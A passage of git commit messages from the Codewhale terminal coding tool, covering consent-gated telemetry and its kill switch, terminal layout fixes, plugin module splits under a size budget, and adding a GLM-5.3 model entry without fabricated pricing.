passed), js_execution (8 passed), skill (301 passed).
Harvested from PR #5221
Co-authored-by: h3c-hexin <13790929+h3c-hexin@users.noreply.github.com>
Co-authored-by: asto18089 <44870036+asto18089@users.noreply.github.com>
This is the read the whole feature was missing. `resolve_runtime_options` had
no non-test caller in this crate, so neither `telemetry = false` in the config
file nor `CODEWHALE_TELEMETRY=0` was ever consulted by the process that would
have emitted. `arm_telemetry` performs it once, before the dispatch, and hands
the resulting consent token to `init`. Until that returns, the panic hook
installed back in `main` — and every other write path — is a hard no-op,
because the gate is a `OnceLock` that is by construction empty until resolution
completes. A user who never opted in panics without writing a byte and without
creating a directory.
The surface is a function of the parsed subcommand, never of the executable.
This one binary serves `tui`, `exec`, `serve`, `mcp-server`, and `cli`;
`current_exe()` would label all five the same.
Three exit paths, three classes, all stated rather than derived:
- the process panic hook records `Panic` and the allowlist-reduced site.
The panic *message* is never read: a slicing panic embeds the entire
string being sliced, and this tree slices user and model text in dozens
of places.
- the signal task records `Signal` and a synchronous `session_end`
immediately before `std::process::exit`. `record_blocking` takes no lock
for exactly this reason — `flock` is per-fd within a process, so a second
Codewhale sharing CODEWHALE_HOME would otherwise hang Ctrl-C, and the
second-signal short-circuit has to stay reachable.
- the exec path states `Error` from `RunTerminationReason`, and ordinary
teardown escalates `Clean` to `Error` only if nothing has spoken already.
None of this can come from an exit code. `RunTerminationReason::Canceled` maps
to 130, the same value the SIGINT path uses, so a code-based derivation would
report every Esc-cancelled turn as a signal.
`startup_trace::elapsed_ms` is a new accessor rather than a reuse of
`log_summary`, which computes the same number into a local, emits it through
`tracing`, clears its milestone buffer, and returns `()`. `mark_cold_start` is
called only from the interactive path, which is what makes the cold-start
bucket absent rather than invented on the surfaces that have no event loop.
The shutdown flush goes to the blocking pool and is bounded there. The
persistence actor's unbounded `task.await` next door is deliberately not
copied: a hung TLS handshake would hold the process open past the last frame.
Gate: cargo test -p codewhale-tui --bin codewhale-tui (9793 passed)
Both findings come from @vFONGv's Windows beginner guide (PR #5229), verified
against the code before landing.
config.example.toml claimed "Shift+Tab in the TUI cycles between off / high /
max". That is stale: crates/tui/src/tui/app.rs:2370 emits the notice
"Shift+Tab now cycles permissions — reasoning effort moved to Ctrl+T". A user
following the config comment would cycle their permission posture while trying
to change reasoning depth, which is the more consequential of the two. His
guide had it right and our own example config had it wrong.
docs/PROVIDERS.md gains his China-region Moonshot finding: a China-region key
needs base_url = "https://api.moonshot.cn/v1" or it fails authentication on the
default international host, and editing base_url alone does not take effect
until `codewhale auth set` is re-run. `api.moonshot.cn` appeared nowhere in the
repo, so this is new information. Recorded as attributed user field evidence
rather than a tested route — we have no China-region key to verify it.
Harvested from PR #5229
Co-authored-by: vFONGv <21223725+vFONGv@users.noreply.github.com>
The dispatcher runs four subcommand families in its own process — `config`,
`auth`, `update`, and the non-delegated half of `app-server`. Until now none of
them could emit anything, because nothing armed telemetry outside the TUI and
because the surface a batch reports cannot be derived from the executable:
`app-server` runs in-process inside `codewhale`, so `current_exe()` would label
every one of those sessions `cli`.
Each of those branches now resolves the predicate itself and names its own
surface. `start_cli_telemetry` returns `Some` only behind
`TelemetryDecision::Enabled`, so the session token's existence is the
permission; the default state of every installation — no notice answered —
yields `None` and touches nothing. `finish_cli_telemetry` closes the session
from what actually happened rather than from an exit code (a cancelled run and
a signal share 130) and hands the flush a bounded deadline. Because the flush
re-resolves from disk, `codewhale config set telemetry false` takes effect on
the very run that wrote it.
`--telemetry` had no help string and was therefore invisible in `--help`. A
consent control nobody can find is a consent control nobody has.
`CODEWHALE_TELEMETRY_ENDPOINT` now travels with the switch to delegated
children, and only when one is configured: naming the variable with an empty
value would read as "configured" to anything that checks for presence. The
child re-validates the scheme, so forwarding is a convenience and never an
authorization.
Install-or-upgrade detection lands in `init` rather than at any one call site.
It is a per-machine fact, not a per-surface one, and all six surfaces arm
through the same door. The previous version is read from
`$CODEWHALE_HOME/telemetry/state.json` and from nowhere else; the state file is
written before the event is queued, so a process that dies between the two
reports nothing rather than re-reporting the same upgrade on every launch.
Gate: cargo test -p codewhale-cli -p codewhale-telemetry
The Lint job's provider-registry drift check scans for provider!() macro
invocations, so providers written as hand-rolled `impl Provider` blocks are
invisible to it and get reported as extra rows in three places at once —
shipped rows, TOML tables, and documented TOML tables.
The script already carries a manual allowlist for exactly this case, holding
Deepseek, Anthropic, OpenaiCodex and four others. The four Alibaba Model Studio
plan/dialect identities belong there for the same reason: their wire policy is
not fixed, so provider!() cannot express them.
This is the first failing step of the Lint gate on release train PR #5135.
Receipt: python3 scripts/check-provider-registry.py
-> "Provider registry drift check passed." exit=0
The rail-yield docstring claimed "the column gate has no such problem: width
and height move independently." A reviewer disproved it: with the width gate,
an idle Pinned rail on a tall-but-narrow terminal swaps its strip for the ocean
in a single column step past AMBIENT_MIN_CHAT_WIDTH. The comment asserted
immunity the code does not have, at exactly the spot a future reader would
check before touching the threshold.
The trade itself is right and stays. Charging the ambient floor is what buys
the whale its rows, and both axes cannot be monotone at once. The height axis
is the one that must not step, because that rule would fire while dragging the
very axis the strip is measured in; a horizontal resize past 60 columns is a
deliberate act with a visible payoff. The comment now says that instead of
denying the step exists.
Adds rail_strip_and_whale_swap_at_the_ambient_width, which asserts the rail
keeps its rows below the floor, yields them at it, and that yielding actually
buys the ocean — so the trade stays a decision rather than drifting into an
accident.
Receipt: cargo test -p codewhale-tui --bin codewhale-tui rail_strip
-> 3 passed; 0 failed.
Owner decision 2026-08-03: honor the previous bump's own note rather than
raising scripts/source-structure-budget.json a second time on one train.
plugins/install.rs 1447 -> mod.rs + stage.rs + tarball.rs + place.rs + tests.rs;
commands/groups/plugins/mod.rs 1248 -> mod.rs + render.rs + legacy.rs +
tests.rs. Seams are real: staging, the two-pass archive reader, atomic
placement and containment guards, and — on the command side — everything the
user reads, including the escape_review_text that stops manifest-controlled
text forging a trust review.
Verified a pure refactor rather than asserted: production token streams are
equal apart from pub(super) markers and formatting, test function name sets are
identical both ways with zero dropped, and moved test bodies are token-identical.
Visibility widened only to pub(super) within child files.
Disclosed rather than absorbed: the aggregate ceiling was already breached at
the base commit (660128 > 659633) independently of this work. This change
clears it by extracting inline test blocks — which the script's own rule counts
as non-production — not by deleting production code or raising the ceiling.
Owner decision 2026-08-03: rail unification ships in 0.9.4, but the always-on
4-row strip must not evict the idle BlueWhale at 24 rows.
The investigation found two causes, and the second was larger than the reported
bug. work_surface::height handed any non-Tasks panel a fixed 4 rows at Top,
capped only by terminal_height/2 — half the terminal bounds nothing that
matters. And migrate_sidebar_settings_to_rail folded the default
sidebar_focus="auto" into rail_panel="pinned", and migration runs on every load
where a settings.toml exists, so ANY user with any settings file — even one
that only sets theme — silently got the always-on strip. The always-on branch
was the effective default, not an opt-in edge case; that is why the rail merge
had to pin rail_panel="tasks" into four qa_pty fixtures to keep other
assertions alive.
The rule: the rail may take only rows the transcript can spare, and while the
idle ocean is on screen the transcript's floor is the ambient floor. The
collapse cliff is charged to the terminal budget, never to the user's own
work_surface_top_height — a user who asks for a 2-row strip gets one at every
size that can seat it.
Measured by rendering frames at 80 columns, idle: 21 rows no whale (pre-rail
behavior, unchanged), 22-25 rows whale with no strip, 26+ rows strip and ocean
exactly as today.
A reviewer's remaining finding is carried, not closed: the width gate can swap
strip-for-whale as columns cross 60, and ui.rs's comment claims that axis is
immune. Fixed in a follow-up commit on this branch.
# Conflicts:
# crates/tui/src/prompts.rs
These were carried as uncommitted release-preparation edits. They are not
leftovers — without them the crate's test target does not compile, so the
branch cannot show a green gate.
- prompts.rs asserted on SUGGEST_APPROVAL, which a98b184f5 deleted with the
rest of the prompt compatibility layer. The #5146 propose-vs-execute
contract survived the deletion but moved, so the test now pins it on
CORE_EXECUTION_PROFILE_PROMPT and prompts/text.rs carries the contract text
where the model actually reads it. Without this the test target fails to
compile with E0425 at prompts.rs:2892.
- Effort receipts follow 8c5370a56: the first-party DeepSeek wire documents
reasoning_effort [low, high, max] and has no medium, so low maps to low and
the header renders the tier alone instead of `low→high`. Updated in
subagent/tests.rs, ui/tests.rs, underwater.rs and the qa_pty visual contract.
- Facts regenerated: toolCount 67, @shenjackyuanjie credited in the
public-surface contributor record.
One assertion tightened rather than carried as written: underwater.rs's
normal_header test had been relaxed to `contains("low")`, which also passes on
the old `low→high` rendering and so pinned nothing. It now additionally
asserts the arrow is absent, which is the actual regression to guard.
Receipts: the six bin-suite failures these address were reproduced at the
unmodified base and are exactly this set. Full gate runs with the workspace
suite.
`CODEWHALE_RELEASE_BUILD_SHA` is emitted only when `DEEPSEEK_BUILD_SHA` or
`GITHUB_SHA` was in the build environment. For every locally built binary it
is simply absent, `option_env!` yields `None`, and a telemetry payload carries
`git_sha: null`.
There is deliberately no fallback to the local checkout, and the "was this a
published release" gate proposed earlier cannot be built as described.
`codewhale_release::latest_release_tag_{async,blocking}` are network calls to
`api.github.com` that return *tag names*, not shas, so the only available
comparison is version-vs-version — and a maintainer running the release build
this repo's own guidance prescribes, on a private tree at the shipping
version, would compare equal and ship their private HEAD. Meanwhile
`build_commit` already falls back to `git rev-parse`, which is why
`CODEWHALE_BUILD_COMMIT` is the builder's own HEAD on every local build and is
named here as a forbidden source. Build-time provenance is deterministic,
network-free, and verifiable from the repository.
The rule lives in `release_build_sha`, which takes the environment as a
closure so it is tested against injected values rather than by mutating the
process: absent, GitHub-only, Codewhale-wins-over-GitHub, a value that is not
a full 40-hex sha, and `CODEWHALE_BUILD_COMMIT` offered as a decoy.
The build script belongs to `crates/telemetry` rather than to a consumer
because `option_env!` reads the environment of the crate being compiled — a
`rustc-env` emitted by `crates/tui`'s build script is not visible to
`crates/telemetry`. Its rerun conditions are the two SHA variables and
nothing about `.git/HEAD`: watching HEAD would rebuild on every local commit
for a value that is `None` on every local build by design.
`docs/TELEMETRY.md` is the schema, field for field, including the section that
states what a receiving endpoint must do before one may be configured at all:
IP-stripped at ingest, a stated retention window, no third-party processor,
and the honest cost of 90-day install-id rotation — no count derived from
`install_id` is a user count. That section is a shipping gate on any
non-loopback endpoint, not a follow-up. Until it is true and filled in, the
shipped default of no endpoint is what makes the rest of the document honest.
The doc is welded to the code, not merely adjacent to it.
`event_field_names_match_documented_schema` parses the fenced `jsonc` blocks
and the field tables out of the file and asserts set equality against the
structs the serializer actually uses. It also asserts the block count and the
per-table row count, so a parser that stops matching fails loudly rather than
passing on an empty parse — a doc-match test that can silently find nothing is
worse than no test, because it reads as coverage.
Two drifts surfaced immediately and are fixed here rather than papered over:
the envelope table never documented `events`, and the errors table collapsed
`provider_http_4xx` and `provider_http_5xx` into one row, so the table was not
in fact one row per field.
`crates/telemetry/tests/golden/v1.json` is one fully-populated instance of the
envelope and every event. `golden_payload_v1` compares against it byte for
byte, so any field add, remove, or retype fails the build until the developer
re-blesses under a bumped `SCHEMA_VERSION`
(`CODEWHALE_BLESS_TELEMETRY_GOLDEN=1 cargo test -p codewhale-telemetry`). It
is also the artifact a future receiver author reads to know exactly what v1
was, which is the part a prose schema cannot provide.
The document also states the things §8 asked for that are not true of this
tree, in the places a reader would otherwise assume them: there is no
factory-reset command, so the guarantee offered is the one that is already
true — the install id is regenerated whenever the telemetry directory is
cleared, which opting out does automatically, and in any case every 90 days.
The footprint ceiling is stated as a number.
A complete, tested telemetry client with no callers. It ships inert: nothing
in the tree calls `init`, so nothing is collected, nothing is written, and no
directory is created by this commit.
The crate is placed at `crates/telemetry` because a module under
`crates/tui/src/` is unreachable from two of the three consumers —
`codewhale-cli` does not depend on `codewhale-tui`, `codewhale-tui` does not
depend on `codewhale-cli`, and app-server is linked into the `codewhale`
binary. It depends on `codewhale-config`, whose own dependencies are
execpolicy, paths, and secrets, so there is no cycle and no plausible future
one: config has no reason to consult telemetry state. That dependency is what
lets the emit predicate live in exactly one function instead of being
re-derived at six init sites.
Consent is a value, not a convention. `decide()` is the only constructor of
`TelemetryConsent`; `init` takes one by value and there is no bool-taking
sibling. `TelemetryDecision` splits `OptedOut` from `ForcedOff` because
"telemetry resolved to false" is the default state of every installation — a
wipe keyed on it would delete a consenting user's identity and unflushed
buffer every time they ran one command with a transient
`CODEWHALE_TELEMETRY=0`, which is the recipe the runtime docs prescribe. Only
`OptedOut` touches disk. `ForcedOff` touches nothing, ever, and a test asserts
a seeded home is byte-identical across every `ForcedOff` row.
Arming is a `OnceLock` consulted by every write path, `record_blocking`
included. The process panic hook is installed before the command line is
parsed, long before any config resolution, so it cannot consult a resolved
value — but it can consult a lock that is by construction empty until
resolution completes. A disabled user's panic therefore writes nothing.
Arming also truncates the buffer, so no event recorded before consent can be
in the batch that follows it.
Appends never take a lock. One `O_APPEND` write under `PIPE_BUF`, then
`sync_data`. `flock` is per-fd within a process, so a blocking acquisition on
the panic hook would self-deadlock if the writer thread panicked holding the
compaction lock, and a second process sharing `CODEWHALE_HOME` would hang
Ctrl-C. Compaction is the only lock holder and uses `try_write`. The drain
tolerates a torn trailing line, because `std::process::exit` on the signal
path can cut a concurrent write.
The wipe truncates rather than unlinks — replacing the file would leave
appenders on a dead inode, and unlinking the sibling lock file would leave
holders serialising against nothing. It writes the `disabled` tombstone first
and never removes it, every append and every send re-checks that tombstone,
and a failed wipe therefore fails closed: the tombstone alone makes the buffer
permanently undrainable.
Transport requires `https://`. Plaintext is permitted only for loopback, where
a batch never reaches a wire. There is no environment variable that overrides
this, and `CODEWHALE_ALLOW_INSECURE_HTTP` is deliberately not consulted: that
variable authorizes an insecure *provider* base URL for harnesses that
intercept model traffic, and honouring it here would let that decision also
authorize telemetry POSTs to an arbitrary host. With no endpoint configured —
the shipped default — no HTTP client is constructed at all and batches go to
`dryrun.jsonl`.
`install_id` is `Uuid::new_v4`, never derived from hostname, MAC,
`machine-id`, home, username, or executable path, and it rotates every 90 days
with `rotated_at` recorded. A derived id is a device fingerprint that survives
reinstall and re-identifies a user across their own opt-out.
The schema has no free-form string type and no open-keyed map. `counters` and
`errors` are structs of named `u32` fields rather than maps, so the key set is
closed by the compiler. `every_payload_field_is_bounded` walks a
fully-populated batch and asserts every string leaf is a member of a declared
enum set or one of three regexed strings. The scrubber assertions run
`redact_for_disclosure` per string leaf and never over the serialized
document: that function tokenizes on spaces, and a compact JSON batch is one
token, so a document-level check would report clean on a payload containing a
path, a key, and a whole prompt.
`ResolvedRuntimeOptions` gains `telemetry_endpoint`, resolved from
`CODEWHALE_TELEMETRY_ENDPOINT` then the config file, because `decide` needs to
see the endpoint to refuse a bad one. `crates/workflow` exports its redaction
module so the leak assertions above can use it.
Review repair on top of the yield rule. The diagnosis and the migration fix
(`auto` -> `tasks`) stand; the row-yield implementation had four defects.
The blocker: the 4-row collapse cliff was compared against `top_cap`, which
folds `work_surface_top_height` in alongside the ambient budget.
`top_height` is user-settable over 2..=16 and dragging the rail divider to
its minimum persists to settings.toml, so `cap < PANEL_STRIP_HEIGHT` deleted
the panel outright, at *every* terminal size, for anyone who asked for a
short strip — where the baseline drew the 2-3 row strip they requested. The
cliff now compares an `ambient_cap` (half the terminal, and the transcript's
spare rows) against what the panel is actually asking for: its design height
or the user's shorter one. A 2-row request renders 2 rows, and costs the
ocean nothing — the budget is what protects the transcript's floor, so at
80x24 a 2-row strip still leaves the whale its full 16 rows. Both quantities
stay monotone in terminal height, so the threshold still flips exactly once.
`rail_row_budget` charged the 16-row ambient floor on
`should_render_empty_state` alone. That predicate knows the session is quiet;
it does not know the terminal can draw. `empty_state_mark_visible` also
demands 60 columns, so a narrow terminal reserved 16 rows for a mark that
cannot render at any height and the strip yielded for nothing. The floor is
now charged only above `AMBIENT_MIN_CHAT_WIDTH`. The *row* half of that gate
is deliberately not mirrored: it would be a step down in height — the rail
taking rows below the floor and handing them back at it — which is precisely
the resize flicker the budget exists to prevent. Width and height move
independently, so the column gate has no such problem.
Both new zero-returns dropped their rows while keeping the interaction state
that described them. Stale hitboxes outlive the strip: the transcript rows
that replace it keep routing clicks into a panel that is not on screen.
Teardown is now one `collapse_strip` helper that every zero-return shares,
including the `Off` branch, whose comment already claimed "no stale
interaction state" while clearing two fields.
The `migrate_sidebar_settings_to_rail` docstring still described the old
`auto` -> pinned fold, contradicting the match arm nine lines below it —
doc rot at the exact spot a future reader checks.
Tests: `idle_rail_app` pinned `composer_border` but left
`work_surface_top_height` unpinned, so the 26-row threshold depended on the
developer's settings.toml; that is now pinned, and it is load-bearing rather
than cosmetic, since honouring a short `top_height` moves the threshold down.
New coverage for each repaired defect: a short strip survives every size in
20..=40 and renders beside the whale at 80x24; a yielded strip drops its
hitboxes, focus, and resize drag across all three zero-returns; and the
ambient floor is not charged below the width the mark needs.
Verified by rendering, not arithmetic: qa_pty is 36/36 green, including
`work_and_permission_are_visible_at_release_terminal_sizes` at rows >= 24.
The anti-flicker resize sweep and the migration test are kept as-is.
Adds the two pieces of persisted state a telemetry notice needs, and
nothing that acts on them. Still no client, no emission, no network.
`telemetry_endpoint` is a root scalar sitting next to `telemetry`,
reachable through get/set/unset/list like `log_level`. It is unset by
default, and unset is not a placeholder for a built-in URL — with no
endpoint configured there is nowhere for a batch to go.
It is deliberately not `[telemetry] endpoint = …`. `telemetry` is
already `Option<bool>` among the root scalars, with every section table
declared after it, so a table of that name is a hard `toml::from_str`
failure — and `ConfigStore::load` converts every parse failure into
"failed to parse config at {path}; file contents were omitted", which
would leave a user with an unloadable config and no stated cause. It
would also be a `ValueAfterTable` hazard against the scalars that
follow. A test pins both halves: the endpoint serializes ahead of every
table, and a `[telemetry]` table does not deserialize at all.
Scheme validation is not done at set time. A user must be able to stage
a value; the rules about which endpoints may actually be contacted
belong where a batch would be sent.
`SetupState` gains `telemetry_notice_decided_for` and
`telemetry_opt_in`, plus `needs_telemetry_notice`,
`record_telemetry_notice`, `telemetry_accepted`, and
`telemetry_declined`. Fields rather than a new `SetupStep` variant: an
unknown enum variant fails the whole record parse and silently drops the
user back to derived-inherited state, taking their constitution
checkpoint with it, while unknown fields are ignored. Records written
before this commit load as "notice owed".
The version keyed here is notice *content*, not the app version, so a
release does not re-prompt anyone. Three properties are pinned by test:
a deferred constitution checkpoint does not answer the telemetry notice,
derived-inherited state never carries a decision, and a decision
recorded against different notice content reads as owed again rather
than as consent to content the user never saw.
Also extends the existing hostile-project-config case: a repo-local
`.codewhale/config.toml` could already not turn telemetry on, and now
cannot aim it at a host of its choosing either.
The kill switch resolved correctly and then reached nothing. Two leaks,
both on the path between the dispatcher and the processes that hold
every would-be emission site.
The dispatcher forwarded `CODEWHALE_TELEMETRY` only when `--telemetry`
was passed, and forwarded the *raw flag* rather than the resolved value.
So `CODEWHALE_TELEMETRY=0 codewhale --telemetry true` overwrote the
inherited `0` in the child's environment and handed the TUI an
environment that resolves on — the flag climbing back over the floor by
way of the child. And with no flag at all nothing was stated, leaving
the child to inherit whatever the shell exported. It now forwards
`resolved_runtime.telemetry` unconditionally, including `false`. The
child still re-resolves from its own environment and config, but can no
longer fall back past the floor the dispatcher already applied.
Fleet workers never saw the setting at all. The spawn path `env_clear()`s
and rebuilds from `process_base_env()`, which copied HOME, PATH,
SYSTEMROOT and COMSPEC and nothing else, so an operator's opt-out
stopped at the worker boundary. Workers are now hard-off: they are an
implementation detail of the parent session rather than sessions of
their own, and the parent already accounts for the dispatch. Because
`env_clear()` means absence is not neutral, the two variables are set
explicitly rather than merely not removed, and re-asserted after the
caller's allowlisted entries are merged so an allowlist naming
`CODEWHALE_TELEMETRY` cannot switch a worker back on.
Deliberately not fixed here: `process_base_env()` also drops
CODEWHALE_HOME and CODEWHALE_CONFIG_PATH, so workers resolve state,
config, credentials and MCP against the default home rather than the
one the parent was launched with. That is a real gap and a separate
concern; forwarding them would change fleet behavior well beyond
telemetry.
Still no telemetry anywhere in the tree. This makes the switch reach the
processes it names.
Follow-up to the plugin module split (3838a5d8b). Two things: retire an
allowlist entry that should never have been added, and put on the record what
this branch's gate result actually means.
Retire the native_memory exemption
----------------------------------
crates/tui/src/native_memory/tests.rs has been tracked since 8f5b584e7 but was
referenced by nothing: a merge re-inlined the tests as a `#[cfg(test)] mod tests
{ ... }` block without deleting the extracted sibling. The file was dead — 15
test functions that had not been compiled or run since that merge.
The split commit responded by allowlisting native_memory.rs at 1091 lines. That
is a permanent hole in a one-way gate, bought to accommodate a stale file. This
restores `mod tests;` instead. Verified before switching: the sibling is a
faithful extraction of the inline block — identical modulo a 4-space dedent and
the block's closing brace (`diff -w` against the dedented block reports only the
trailing `}`), and the two `fn` name sets are equal. It is not byte-identical;
the note in the budget file claiming that was wrong and is removed with it.
Result: native_memory.rs 1091 -> 773 lines, below the 1000-line threshold, so
the allowlist entry and its `_native_memory_exemption` rationale both go. The 15
tests now compile and pass. The `_todo_2026_08_03` note is kept and is now true
as written again: both thousand-line modules from the v0.9.4 stack are split
back under the threshold rather than exempted.
Disclosure: this branch clears a pre-existing aggregate breach
--------------------------------------------------------------
The source-structure gate was already red at the base commit, independently of
any work on this branch. At b22393c67 it exits 1 with four failures:
new thousand-line production module: crates/tui/src/commands/groups/plugins/mod.rs has 1248 lines
new thousand-line production module: crates/tui/src/native_memory.rs has 1091 lines
new thousand-line production module: crates/tui/src/plugins/install.rs has 1447 lines
aggregate owned Rust source grew: 660128 > 659633 lines
The aggregate ceiling was therefore breached by 495 lines before this work
started. This branch makes it pass, and it is worth being precise about how: by
extracting inline `#[cfg(test)]` blocks into `tests.rs` siblings, which the
gate's own file filter excludes from "production" lines. No production code was
deleted to achieve it, and no ceiling was raised.
660128 base b22393c67 (over by 495)
659294 after the module split (under by 339)
658975 after this commit (under by 658)
That reclassification is honest under the script's letter and matches repo
precedent — native_memory and fleet_roster were handled the same way during
v0.9.4 train hygiene. But it means the aggregate ceiling is satisfied by moving
lines across the production/test boundary, not by writing less code. The
underlying `_todo_2026_08_03` debt is unpaid and this does not pay it.
Ceilings left alone
-------------------
max_large_module_count (172), max_module_lines (19139) and
max_total_owned_rust_lines (659633) are unchanged, so the gate reports four
available tightenings rather than locking them in. Ratcheting a one-way budget
is a deliberate act and belongs in its own reviewed change.
Also in this commit
-------------------
crates/cli/src/lib.rs loses one blank line. That is pre-existing rustfmt drift,
present at b22393c67 and at 3838a5d8b, picked up by the mandatory `cargo fmt`.
It is unrelated to this work.
Known-red, not caused here
--------------------------
`cargo test -p codewhale-tui --bin codewhale-tui` does not compile at b22393c67
or at 3838a5d8b: crates/tui/src/prompts.rs:2892 and :2896 reference
`SUGGEST_APPROVAL`, which is defined nowhere under crates/. The #5146 test
landed without its constant. This commit does not touch prompts.rs and does not
fix it. The 80/80 plugin and 19/19 native_memory results above were obtained
with that one pre-existing test function temporarily removed from the working
tree and then restored; the committed tree still carries the breakage.
Follow-up not taken here
------------------------
scripts/check-source-structure-budget.py `budget_document()` rebuilds the JSON
from a fixed key set that emits `_comment` but drops any other underscore-
prefixed annotation, so the next `--update` would silently delete
`_todo_2026_08_03`. The fix is not one line — it needs a signature change to
take the loaded document, a caller change, and a case in
test_check_source_structure_budget.py — so it is left for its own change rather
than folded into this one.
`resolve_runtime_options` resolved telemetry as
`cli.or(env).or(file).unwrap_or(false)`, so `--telemetry true` beat
`CODEWHALE_TELEMETRY=0`. That is the wrong shape for a kill switch: a
switch a later flag can climb back over is not a kill switch. Off is now
a floor applied after the precedence chain — an explicit env "off" wins
regardless of what the CLI flag or the config file say.
An unreadable env value now fails closed too. `EnvRuntimeOverrides`
previously logged a warning and returned `None`, which fell through to
the config file's value, so `CODEWHALE_TELEMETRY=maybe` next to
`telemetry = true` resolved to on. The parse result is carried as
`telemetry_env_invalid` and forces off. A typo in a kill switch must
never resolve to "on".
`ResolvedRuntimeOptions` also gains `telemetry_explicit_off`, which
separates "a human answered no" from "nobody has said anything" — both
of which resolve `telemetry` to false today. Consumers that must treat
an answer differently from a default now have something to read other
than the boolean.
The warning message claimed the accepted set was "true/false"; the
`parse_bool` it calls has accepted 1/0, yes/no, on/off, and
enabled/disabled all along. It now says so, and says telemetry is being
forced off.
No telemetry is emitted by this change; nothing in the tree emits any
today. This is a correctness fix to the switch itself.
Owner directive: add GLM-5.3 everywhere GLM models appear.
Scope is deliberately narrower than "everywhere glm-5.2 appears", and the
reason is the whole point of this commit. GLM-5.3 is NOT live on the Z.ai
API — the owner's own credential was used to query it and the live roster
returns glm-4.5, glm-4.5-air, glm-4.6, glm-4.7, glm-5, glm-5-turbo, glm-5.1,
glm-5.2 and nothing further. Zhipu has published no GLM-5.3 identifier,
endpoint, limit, rate, or capability list.
So this wires the model where we can be honest about it, and nowhere else:
- First-party Z.ai row (GLM-5.3) and its OpenRouter mirror (z-ai/glm-5.3):
catalog, aliases, model registry, picker lists, context/output limits,
reasoning classification, and the tiered-effort wire path.
- Every capability and limit is INHERITED field-for-field from the verified
glm-5.2 row (1M context, 131072 output, reasoning with effort high/max).
Nothing is invented.
- No pricing. Z.ai has published no GLM-5.3 rate, and inheriting 5.2's would
fabricate one, so every price surface reports unknown. Pinned by
glm_5_3_has_no_hardcoded_price, which says in its own comment not to "fix"
it by copying 5.2's row.
- GLM-5.2 remains the default for every provider, profile and fleet role.
Adding a model does not move anyone's route.
- One greppable marker in models_dev.bundled.json `_meta.pending_release_metadata`
records the inheritance and the scope, so correcting the id or the limits
when Z.ai ships is a single-place edit.
Deliberately NOT added: OpenCode Zen, OpenCode Go, Alibaba Model Studio, and
TelecomJS rosters. Those tables transcribe what a third-party gateway
publishes. Metadata inheritance is not evidence of third-party availability —
there is no glm-5.2 value to copy, because the fact in question is roster
membership, not a limit. An honesty audit caught six such claims after the
first pass (including docs wording that read as a promise that these gateways
serve it); all six were removed rather than re-valued, and each roster now
carries a dated comment naming the evidence that would justify adding it.
The TelecomJS arm is additionally annotated as a frozen pre-refresh snapshot
(it still lists a GLM-5.0 we do not otherwise model) that must be refreshed
wholesale, not hand-extended.
`is_exact_zai_glm_5_2_route` became `is_exact_zai_tiered_effort_route`, since
the tiered top-level reasoning_effort path is now a family property rather
than one model's.
Receipts, all exit 0: cargo fmt --all --check; cargo test -p codewhale-config;
cargo test -p codewhale-tui --bin codewhale-tui; cargo test -p codewhale-workflow;
cargo test -p codewhale-cli; cargo test -p codewhale-agent;
cargo clippy -p codewhale-config -p codewhale-cli.
End-to-end: `codewhale model list` shows GLM-5.3 alongside GLM-5.2 with the
default unchanged, and `model resolve` maps the alias set correctly.
The unified rail evicted the idle BlueWhale at 24 rows — the size the
release evidence is captured at. Two independent causes, both required.
First, `work_surface::height` handed any non-Tasks panel a fixed 4-row
strip at Top placement, bounded only by `terminal_height / 2`. Half the
terminal is not a meaningful bound: at 24 rows it permits 12, while the
thing actually being spent is the transcript. The Tasks panel never had
this problem because an empty projection already returns 0 rows.
Second — and larger — `sidebar_focus` defaults to "auto", and the 0.9.4
migration folded "auto" into `rail_panel = "pinned"`. Migration runs on
every load where a settings.toml exists, so *any* user with a
settings.toml, even one that only sets `theme`, silently got the
always-on strip. The always-on branch was not an opt-in edge case; it
was the effective default. Auto-collapse meant "show work when there is
work", which is exactly what the auto-fitting Tasks panel does, so
"auto" now maps to "tasks" and the intent survives the rename.
The rule replacing `terminal_height / 2`: the rail may take only rows
the transcript can spare, and while the idle ocean is on screen the
transcript's floor is the ambient floor. `ui::rail_row_budget` computes
terminal height minus fixed chrome minus that floor and passes it to
`work_surface::height` as a third cap alongside `top_height` and the
half-terminal bound, which are both kept so a user who cranked
`work_surface_top_height` sees no change. The floor moves: 16 rows while
the shell is fully idle, `MIN_CHAT_HEIGHT` once there is anything to
read. Decorative water yields to work; work never yields to decoration.
At 80 columns the strip now appears at 26 rows and above, and below that
it collapses rather than degrading — a 2-row Pinned panel is a title
over one truncated line, which is chrome, not information. 21 rows and
below still has no whale at any strip height, exactly as pre-rail.
Supporting changes that keep the rule honest:
- `AMBIENT_MIN_CHAT_HEIGHT` / `AMBIENT_MIN_CHAT_WIDTH` name the floor in
underwater.rs, and `empty_state_mark_visible` is rewritten in terms of
them. The layout rule and the render gate cannot drift now. This also
removes that gate's dead `height >= 14 && width >= 28`, which
`ShellTier::for_area` had already subsumed at 16 rows and 60 columns.
- `should_render_empty_state` is `pub(crate)` and evaluated once per
frame in `ui::render`, then threaded. Calling it twice would let the
reservation and the render disagree inside a single frame.
- `split_chat` takes the same treatment on the column axis: it protected
only a 40-column transcript, so an 88x40 side rail killed the whale by
width with nothing asserting it.
- The composer is charged at a fixed floor, not its measured height. The
real `composer_height` is computed *from* the strip height; feeding it
back would close a loop that oscillates across a resize instead of
settling.
Tests: the qa_pty visual contract returns to `rows >= 24` — the
re-baseline to 28 was papering over the eviction, not recording a real
change in what the terminal can seat. The four `rail_panel = "tasks"`
fixture pins added alongside it come back out; they were hiding the
broken default, which is how this shipped. New full-shell coverage walks
80 columns x {21..30} asserting the whale survives and the strip only
appears once the rows are spare, plus a monotonicity sweep over 8..=48
rows: growing the terminal may only ever add chrome, and the same size
must always produce the same answer. A strip that blinks as you drag a
terminal edge would be worse than the bug.
`top_strip_auto_fits_step_count_up_to_caps` changes one expectation: a
12-row terminal now gives the rail 4 rows instead of 6, leaving the
transcript 4 instead of 2. Same rule, applied to the Tasks path.
`suggest_overlay_states_proposal_is_not_execution` referenced a
`SUGGEST_APPROVAL` constant that no longer exists anywhere in the crate —
the overlay went away with the removed prompt machinery, and the test
went with it everywhere except this call. The result is that
`cargo test -p codewhale-tui --bin codewhale-tui` does not compile at
b22393c67, so no other lane can run its own gate.
This is not a judgment about the overlay; the surface is gone and
"removed machinery stays gone" (AGENTS.md). Isolated in its own commit so
it can be dropped if the lane already fixing this in the working tree
lands first.
Both `/plugin` modules had crossed the 1000-line production ceiling that
`scripts/check-source-structure-budget.py` enforces. Split them where the
code already had seams rather than wherever the line count landed; no
production statement is rewritten and no public path changes.
plugins/install.rs (1447) -> a directory module:
